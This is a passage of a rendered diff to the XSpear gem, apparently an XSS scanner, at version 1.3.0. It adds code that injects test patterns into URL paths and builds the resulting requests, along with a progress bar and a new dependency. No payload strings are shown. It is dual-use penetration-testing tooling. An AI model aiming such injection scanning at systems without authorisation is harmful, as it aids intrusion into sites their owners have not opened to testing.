puri.path = puri.path+URI.encode(pattern)
|
|
676
|
+
result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback)
|
|
677
|
+
rescue
|
|
678
|
+
# bypass
|
|
679
|
+
# if no slash end
|
|
680
|
+
end
|
|
681
|
+
end
|
|
667
682
|
rescue StandardError
|
|
668
683
|
# bypass
|
|
669
|
-
#
|
|
670
|
-
|
|
684
|
+
# if no params
|
|
685
|
+
|
|
686
|
+
if callback == CallbackXSSSelenium
|
|
687
|
+
begin
|
|
688
|
+
puri = URI.parse(@url)
|
|
689
|
+
puri.path = puri.path+URI.encode("/"+pattern)
|
|
690
|
+
result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback)
|
|
691
|
+
puri = URI.parse(@url)
|
|
692
|
+
puri.path = puri.path+URI.encode(pattern)
|
|
693
|
+
result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback)
|
|
694
|
+
rescue
|
|
695
|
+
# bypass
|
|
696
|
+
# if no slash end
|
|
697
|
+
end
|
|
698
|
+
end
|
|
671
699
|
end
|
|
672
700
|
result
|
|
673
701
|
end
|
|
@@ -675,7 +703,17 @@ class XspearScan
|
|
|
675
703
|
|
|
676
704
|
def task(query, injected, pattern, callback)
|
|
677
705
|
begin
|
|
678
|
-
|
|
706
|
+
if (!@progress_bar.nil?) && @verbose.to_i == 1
|
|
707
|
+
print "\r\r"
|
|
708
|
+
print "\r\r"
|
|
709
|
+
@progress_bar.increment!
|
|
710
|
+
end
|
|
711
|
+
uri = nil
|
|
712
|
+
if pattern == "[PATH]"
|
|
713
|
+
uri = URI.parse(query)
|
|
714
|
+
else
|
|
715
|
+
uri = URI.parse(@url)
|
|
716
|
+
end
|
|
679
717
|
request = nil
|
|
680
718
|
method = "GET"
|
|
681
719
|
uri.query = query if injected == 'url'
|
|
@@ -716,6 +754,6 @@ class XspearScan
|
|
|
716
754
|
end
|
|
717
755
|
end
|
|
718
756
|
rescue => e
|
|
719
|
-
puts e
|
|
757
|
+
#puts e
|
|
720
758
|
end
|
|
721
759
|
end
|
metadata
CHANGED
|
@@ -1,14 +1,14 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: XSpear
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 1.
|
|
4
|
+
version: 1.3.0
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- hahwul
|
|
8
8
|
autorequire:
|
|
9
9
|
bindir: exe
|
|
10
10
|
cert_chain: []
|
|
11
|
-
date: 2019-12-
|
|
11
|
+
date: 2019-12-29 00:00:00.000000000 Z
|
|
12
12
|
dependencies:
|
|
13
13
|
- !ruby/object:Gem::Dependency
|
|
14
14
|
name: colorize
|
|
@@ -52,6 +52,20 @@ dependencies:
|
|
|
52
52
|
- - "~>"
|
|
53
53
|
- !ruby/object:Gem::Version
|
|
54
54
|
version: 1.8.0
|
|
55
|
+
- !ruby/object:Gem::Dependency
|
|
56
|
+
name: progress_bar
|
|
57
|
+
requirement: !ruby/object:Gem::Requirement
|
|
58
|
+
requirements:
|
|
59
|
+
- - "~>"
|
|
60
|
+
- !ruby/object:Gem::Version
|
|
61
|
+
version: 2.3.2
|
|
62
|
+
type: :runtime
|
|
63
|
+
prerelease: false
|
|
64
|
+
version_requirements: !ruby/object:Gem::Requirement
|
|
65
|
+
requirements:
|
|
66
|
+
- - "~>"
|
|
67
|
+
- !ruby/object:Gem::Version
|
|
68
|
+
version: 2.3.2
|
|
55
69
|
- !ruby/object:Gem::Dependency
|
|
56
70
|
name: colorize
|
|
57
71
|
requirement: !ruby/object:Gem::Requirement
|
|
@@ -94,6 +108,20 @@ dependencies:
|
|
|
94
108
|
- - "~>"
|
|
95
109
|
- !ruby/object:Gem::Version
|
|
96
110
|
version: 1.8.0
|
|
111
|
+
- !ruby/object:Gem::Dependency
|
|
112
|
+
name: progress_bar
|
|
113
|
+
requirement: !ruby/object:Gem::Requirement
|
|
114
|
+
requirements:
|
|
115
|
+
- - "~>"
|
|
116
|
+
- !ruby/object:Gem::Version
|
|
117
|
+
version: 2.3.2
|
|
118
|
+
type: :development
|
|
119
|
+
prerelease: false
|
|
120
|
+
version_requirements: !ruby/object:Gem::Requirement
|
|
121
|
+
requirements:
|
|
122
|
+
- - "~>"
|
|
123
|
+
- !ruby/object:Gem::Version
|
|
124
|
+
version: 2.3.2
|
|
97
125
|
- !ruby/object:Gem::Dependency
|
|
98
126
|
name: bundler
|
|
99
127
|
requirement: !ruby/object:Gem::Requirement
|
|
@@ -161,6 +189,7 @@ files:
|
|
|
161
189
|
- XSpear.gemspec
|
|
162
190
|
- bin/console
|
|
163
191
|
- bin/setup
|
|
192
|
+
- config.json
|
|
164
193
|
- exe/XSpear
|
|
165
194
|
- lib/XSpear.rb
|
|
166
195
|
- lib/XSpear/XSpearRepoter.rb
|